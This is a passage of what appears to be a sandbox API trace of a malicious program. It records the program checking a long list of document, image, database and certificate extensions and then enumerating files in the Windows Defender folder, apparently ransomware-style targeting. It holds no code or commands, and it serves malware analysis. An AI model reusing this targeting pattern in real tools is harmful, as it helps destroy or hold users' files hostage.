	[0180.248] lstrlenW (lpString=".divx") returned 5
	[0180.248] lstrcmpiW (lpString1=".divx", lpString2="m.dll") returned -1
	[0180.248] lstrlenW (lpString=".djvu") returned 5
	[0180.248] lstrcmpiW (lpString1=".djvu", lpString2="m.dll") returned -1
	[0180.249] lstrlenW (lpString=".dng") returned 4
	[0180.249] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0180.249] lstrlenW (lpString=".doc") returned 4
	[0180.249] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0180.249] lstrlenW (lpString=".docm") returned 5
	[0180.249] lstrcmpiW (lpString1=".docm", lpString2="m.dll") returned -1
	[0180.249] lstrlenW (lpString=".docx") returned 5
	[0180.249] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0180.249] lstrlenW (lpString=".dot") returned 4
	[0180.249] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0180.249] lstrlenW (lpString=".dotm") returned 5
	[0180.249] lstrcmpiW (lpString1=".dotm", lpString2="m.dll") returned -1
	[0180.249] lstrlenW (lpString=".dotx") returned 5
	[0180.249] lstrcmpiW (lpString1=".dotx", lpString2="m.dll") returned -1
	[0180.249] lstrlenW (lpString=".dpx") returned 4
	[0180.249] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0180.249] lstrlenW (lpString=".dqy") returned 4
	[0180.249] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0180.249] lstrlenW (lpString=".dsn") returned 4
	[0180.249] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0180.249] lstrlenW (lpString=".dt") returned 3
	[0180.249] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0180.249] lstrlenW (lpString=".dtd") returned 4
	[0180.249] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0180.249] lstrlenW (lpString=".dwg") returned 4
	[0180.249] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0180.250] lstrlenW (lpString=".dwt") returned 4
	[0180.250] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0180.250] lstrlenW (lpString=".dx") returned 3
	[0180.250] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0180.250] lstrlenW (lpString=".dxf") returned 4
	[0180.250] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0180.250] lstrlenW (lpString=".edml") returned 5
	[0180.250] lstrcmpiW (lpString1=".edml", lpString2="m.dll") returned -1
	[0180.250] lstrlenW (lpString=".efd") returned 4
	[0180.250] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0180.250] lstrlenW (lpString=".elf") returned 4
	[0180.250] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0180.250] lstrlenW (lpString=".emf") returned 4
	[0180.250] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0180.250] lstrlenW (lpString=".emz") returned 4
	[0180.250] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0180.250] lstrlenW (lpString=".epf") returned 4
	[0180.250] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0180.250] lstrlenW (lpString=".eps") returned 4
	[0180.250] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0180.250] lstrlenW (lpString=".epsf") returned 5
	[0180.250] lstrcmpiW (lpString1=".epsf", lpString2="m.dll") returned -1
	[0180.250] lstrlenW (lpString=".epsp") returned 5
	[0180.250] lstrcmpiW (lpString1=".epsp", lpString2="m.dll") returned -1
	[0180.251] lstrlenW (lpString=".erf") returned 4
	[0180.251] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0180.251] lstrlenW (lpString=".exr") returned 4
	[0180.251] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0180.251] lstrlenW (lpString=".f4v") returned 4
	[0180.251] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0180.251] lstrlenW (lpString=".fido") returned 5
	[0180.251] lstrcmpiW (lpString1=".fido", lpString2="m.dll") returned -1
	[0180.251] lstrlenW (lpString=".flm") returned 4
	[0180.251] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0180.251] lstrlenW (lpString=".flv") returned 4
	[0180.251] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0180.251] lstrlenW (lpString=".frm") returned 4
	[0180.251] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0180.251] lstrlenW (lpString=".fxg") returned 4
	[0180.251] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0180.251] lstrlenW (lpString=".geo") returned 4
	[0180.251] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0180.251] lstrlenW (lpString=".gif") returned 4
	[0180.251] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0180.251] lstrlenW (lpString=".grs") returned 4
	[0180.251] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0180.252] lstrlenW (lpString=".gz") returned 3
	[0180.252] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0180.252] lstrlenW (lpString=".h") returned 2
	[0180.252] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0180.252] lstrlenW (lpString=".hdr") returned 4
	[0180.252] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0180.252] lstrlenW (lpString=".hpp") returned 4
	[0180.252] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0180.252] lstrlenW (lpString=".hta") returned 4
	[0180.252] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0180.252] lstrlenW (lpString=".htc") returned 4
	[0180.252] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0180.252] lstrlenW (lpString=".htm") returned 4
	[0180.252] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0180.252] lstrlenW (lpString=".html") returned 5
	[0180.252] lstrcmpiW (lpString1=".html", lpString2="m.dll") returned -1
	[0180.252] lstrlenW (lpString=".icb") returned 4
	[0180.252] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0180.252] lstrlenW (lpString=".ics") returned 4
	[0180.253] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0180.253] lstrlenW (lpString=".iff") returned 4
	[0180.253] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0180.253] lstrlenW (lpString=".inc") returned 4
	[0180.253] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0180.253] lstrlenW (lpString=".indd") returned 5
	[0180.253] lstrcmpiW (lpString1=".indd", lpString2="m.dll") returned -1
	[0180.253] lstrlenW (lpString=".ini") returned 4
	[0180.253] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0180.253] lstrlenW (lpString=".iqy") returned 4
	[0180.253] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0180.253] lstrlenW (lpString=".j2c") returned 4
	[0180.253] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0180.253] lstrlenW (lpString=".j2k") returned 4
	[0180.253] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0180.253] lstrlenW (lpString=".java") returned 5
	[0180.253] lstrcmpiW (lpString1=".java", lpString2="m.dll") returned -1
	[0180.253] lstrlenW (lpString=".jp2") returned 4
	[0180.253] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0180.253] lstrlenW (lpString=".jpc") returned 4
	[0180.253] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0180.254] lstrlenW (lpString=".jpe") returned 4
	[0180.254] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0180.254] lstrlenW (lpString=".jpeg") returned 5
	[0180.254] lstrcmpiW (lpString1=".jpeg", lpString2="m.dll") returned -1
	[0180.254] lstrlenW (lpString=".jpf") returned 4
	[0180.254] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0180.254] lstrlenW (lpString=".jpg") returned 4
	[0180.254] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0180.254] lstrlenW (lpString=".jpx") returned 4
	[0180.254] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0180.254] lstrlenW (lpString=".js") returned 3
	[0180.254] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0180.254] lstrlenW (lpString=".jsf") returned 4
	[0180.254] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0180.254] lstrlenW (lpString=".json") returned 5
	[0180.254] lstrcmpiW (lpString1=".json", lpString2="m.dll") returned -1
	[0180.254] lstrlenW (lpString=".jsp") returned 4
	[0180.254] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0180.254] lstrlenW (lpString=".kdc") returned 4
	[0180.254] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0180.254] lstrlenW (lpString=".kmz") returned 4
	[0180.254] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0180.254] lstrlenW (lpString=".kwm") returned 4
	[0180.254] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".lasso") returned 6
	[0180.255] lstrcmpiW (lpString1=".lasso", lpString2="om.dll") returned -1
	[0180.255] lstrlenW (lpString=".lbi") returned 4
	[0180.255] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".lgf") returned 4
	[0180.255] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".lgp") returned 4
	[0180.255] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".log") returned 4
	[0180.255] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".m1v") returned 4
	[0180.255] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".m4a") returned 4
	[0180.255] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".m4v") returned 4
	[0180.255] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".max") returned 4
	[0180.255] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".md") returned 3
	[0180.255] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0180.255] lstrlenW (lpString=".mda") returned 4
	[0180.255] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".mdb") returned 4
	[0180.255] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".mde") returned 4
	[0180.255] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".mdf") returned 4
	[0180.255] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".mdw") returned 4
	[0180.255] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0180.255] lstrlenW (lpString=".mef") returned 4
	[0180.256] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0180.256] lstrlenW (lpString=".mft") returned 4
	[0180.256] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0180.256] lstrlenW (lpString=".mfw") returned 4
	[0180.256] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0180.256] lstrlenW (lpString=".mht") returned 4
	[0180.256] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0180.256] lstrlenW (lpString=".mhtml") returned 6
	[0180.256] lstrcmpiW (lpString1=".mhtml", lpString2="om.dll") returned -1
	[0180.256] lstrlenW (lpString=".mka") returned 4
	[0180.256] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0180.256] lstrlenW (lpString=".mkidx") returned 6
	[0180.256] lstrcmpiW (lpString1=".mkidx", lpString2="om.dll") returned -1
	[0180.256] lstrlenW (lpString=".mkv") returned 4
	[0180.256] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0180.256] lstrlenW (lpString=".mos") returned 4
	[0180.256] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0180.256] lstrlenW (lpString=".mov") returned 4
	[0180.256] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0180.256] lstrlenW (lpString=".mp3") returned 4
	[0180.256] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0180.256] lstrlenW (lpString=".mp4") returned 4
	[0180.256] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0180.256] lstrlenW (lpString=".mpeg") returned 5
	[0180.256] lstrcmpiW (lpString1=".mpeg", lpString2="m.dll") returned -1
	[0180.256] lstrlenW (lpString=".mpg") returned 4
	[0180.256] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0180.256] lstrlenW (lpString=".mpv") returned 4
	[0180.256] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".mrw") returned 4
	[0180.257] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".msg") returned 4
	[0180.257] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".mxl") returned 4
	[0180.257] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".myd") returned 4
	[0180.257] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".myi") returned 4
	[0180.257] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".nef") returned 4
	[0180.257] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".nrw") returned 4
	[0180.257] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".obj") returned 4
	[0180.257] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".odb") returned 4
	[0180.257] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".odc") returned 4
	[0180.257] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".odm") returned 4
	[0180.257] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".odp") returned 4
	[0180.257] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".ods") returned 4
	[0180.257] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".oft") returned 4
	[0180.257] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".one") returned 4
	[0180.257] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0180.257] lstrlenW (lpString=".onepkg") returned 7
	[0180.258] lstrcmpiW (lpString1=".onepkg", lpString2="Com.dll") returned -1
	[0180.258] lstrlenW (lpString=".onetoc2") returned 8
	[0180.258] lstrcmpiW (lpString1=".onetoc2", lpString2="pCom.dll") returned -1
	[0180.258] lstrlenW (lpString=".opt") returned 4
	[0180.258] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".oqy") returned 4
	[0180.258] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".orf") returned 4
	[0180.258] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".p12") returned 4
	[0180.258] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".p7b") returned 4
	[0180.258] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".p7c") returned 4
	[0180.258] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".pam") returned 4
	[0180.258] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".pbm") returned 4
	[0180.258] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".pct") returned 4
	[0180.258] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".pcx") returned 4
	[0180.258] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".pdd") returned 4
	[0180.258] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".pdf") returned 4
	[0180.258] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".pdp") returned 4
	[0180.258] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0180.258] lstrlenW (lpString=".pef") returned 4
	[0180.258] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0180.259] lstrlenW (lpString=".pem") returned 4
	[0180.259] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0180.259] lstrlenW (lpString=".pff") returned 4
	[0180.259] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0180.259] lstrlenW (lpString=".pfm") returned 4
	[0180.259] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0180.259] lstrlenW (lpString=".pfx") returned 4
	[0180.259] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0180.259] lstrlenW (lpString=".pgm") returned 4
	[0180.259] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0180.259] lstrlenW (lpString=".php") returned 4
	[0180.259] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0180.259] lstrlenW (lpString=".php3") returned 5
	[0180.259] lstrcmpiW (lpString1=".php3", lpString2="m.dll") returned -1
	[0180.259] lstrlenW (lpString=".php4") returned 5
	[0180.259] lstrcmpiW (lpString1=".php4", lpString2="m.dll") returned -1
	[0180.259] lstrlenW (lpString=".php5") returned 5
	[0180.259] lstrcmpiW (lpString1=".php5", lpString2="m.dll") returned -1
	[0180.259] lstrlenW (lpString=".phtml") returned 6
	[0180.259] lstrcmpiW (lpString1=".phtml", lpString2="om.dll") returned -1
	[0180.259] lstrlenW (lpString=".pict") returned 5
	[0180.259] lstrcmpiW (lpString1=".pict", lpString2="m.dll") returned -1
	[0180.260] lstrlenW (lpString=".pl") returned 3
	[0180.260] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0180.260] lstrlenW (lpString=".pls") returned 4
	[0180.260] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0180.260] lstrlenW (lpString=".pm") returned 3
	[0180.260] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0180.260] lstrlenW (lpString=".png") returned 4
	[0180.260] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0180.260] lstrlenW (lpString=".pnm") returned 4
	[0180.260] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0180.260] lstrlenW (lpString=".pot") returned 4
	[0180.260] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0180.260] lstrlenW (lpString=".potm") returned 5
	[0180.260] lstrcmpiW (lpString1=".potm", lpString2="m.dll") returned -1
	[0180.260] lstrlenW (lpString=".potx") returned 5
	[0180.260] lstrcmpiW (lpString1=".potx", lpString2="m.dll") returned -1
	[0180.260] lstrlenW (lpString=".ppa") returned 4
	[0180.260] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0180.260] lstrlenW (lpString=".ppam") returned 5
	[0180.260] lstrcmpiW (lpString1=".ppam", lpString2="m.dll") returned -1
	[0180.260] lstrlenW (lpString=".ppm") returned 4
	[0180.260] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0180.260] lstrlenW (lpString=".pps") returned 4
	[0180.260] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0180.260] lstrlenW (lpString=".ppsm") returned 5
	[0180.260] lstrcmpiW (lpString1=".ppsm", lpString2="m.dll") returned -1
	[0180.260] lstrlenW (lpString=".ppt") returned 4
	[0180.260] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0180.260] lstrlenW (lpString=".pptm") returned 5
	[0180.261] lstrcmpiW (lpString1=".pptm", lpString2="m.dll") returned -1
	[0180.261] lstrlenW (lpString=".pptx") returned 5
	[0180.261] lstrcmpiW (lpString1=".pptx", lpString2="m.dll") returned -1
	[0180.261] lstrlenW (lpString=".prn") returned 4
	[0180.261] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0180.261] lstrlenW (lpString=".ps") returned 3
	[0180.261] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0180.261] lstrlenW (lpString=".psb") returned 4
	[0180.261] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0180.261] lstrlenW (lpString=".psd") returned 4
	[0180.261] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0180.261] lstrlenW (lpString=".pst") returned 4
	[0180.261] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0180.261] lstrlenW (lpString=".ptx") returned 4
	[0180.261] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0180.261] lstrlenW (lpString=".pub") returned 4
	[0180.261] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0180.261] lstrlenW (lpString=".pwm") returned 4
	[0180.261] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0180.261] lstrlenW (lpString=".pxr") returned 4
	[0180.261] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0180.261] lstrlenW (lpString=".py") returned 3
	[0180.261] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0180.261] lstrlenW (lpString=".qt") returned 3
	[0180.261] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0180.261] lstrlenW (lpString=".r3d") returned 4
	[0180.261] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0180.261] lstrlenW (lpString=".raf") returned 4
	[0180.261] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0180.261] lstrlenW (lpString=".rar") returned 4
	[0180.261] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0180.262] lstrlenW (lpString=".raw") returned 4
	[0180.262] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0180.262] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x849e6f2, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x191a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpEng.exe", cAlternateFileName="")) returned 1
	[0180.262] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x8537061, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x33a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1
	[0180.262] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x89d596d, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x6c9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll", cAlternateFileName="")) returned 1
	[0180.262] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpResL.dll", cAlternateFileName="")) returned 1
	[0180.263] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisLog.dll", cAlternateFileName="")) returned 1
	[0180.263] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x538f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisSrv.exe", cAlternateFileName="")) returned 1
	[0180.263] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisWfp.dll", cAlternateFileName="")) returned 1
	[0180.263] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offline", cAlternateFileName="")) returned 1
	[0180.263] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0180.263] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\Offline") returned 41
	[0180.263] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\Offline\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0180.301] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
